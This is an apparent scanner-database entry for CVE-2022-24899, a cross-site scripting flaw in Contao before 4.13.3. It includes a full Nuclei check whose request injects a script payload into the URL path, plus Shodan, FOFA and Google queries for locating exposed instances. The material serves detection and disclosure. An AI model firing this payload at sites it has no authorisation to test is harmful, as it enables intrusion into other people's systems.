Contao <4.13.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.5%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Contao prior to 4.13.3 contains a cross-site scripting vulnerability. It is possible to inject arbitrary JavaScript code into the canonical tag.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

As a workaround, users may disable canonical tags in the root page settings.

How to confirm it

Send: GET {{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "\"></script><script>alert(document.domain)</script>" and "\"Not authenticated\"" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2022-24899 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-24899

info:
  name: Contao <4.13.3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Contao prior to 4.13.3 contains a cross-site scripting vulnerability.  It is possible to inject arbitrary JavaScript code into the canonical tag.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: As a workaround, users may disable canonical tags in the root page settings.
  reference:
    - https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
    - https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24899
    - https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
    - https://github.com/contao/contao/commit/199206849a87ddd0fa5cf674eb3c58292fd8366c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-24899
    cwe-id: CWE-79
    epss-score: 0.04478
    epss-percentile: 0.91539
    cpe: cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: contao
    product: contao
    shodan-query:
      - title:"Contao"
      - http.title:"contao"
      - http.html:"contao open source cms"
      - cpe:"cpe:2.3:a:contao:contao"
    fofa-query:
      - body="contao open source cms"
      - title="contao"
    google-query: intitle:"contao"
  tags: cve,cve2022,contao,xss,huntr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'
          - '"Not authenticated"'
        condition: and

      - type: word
        part: header
        words:
          - text/html

References

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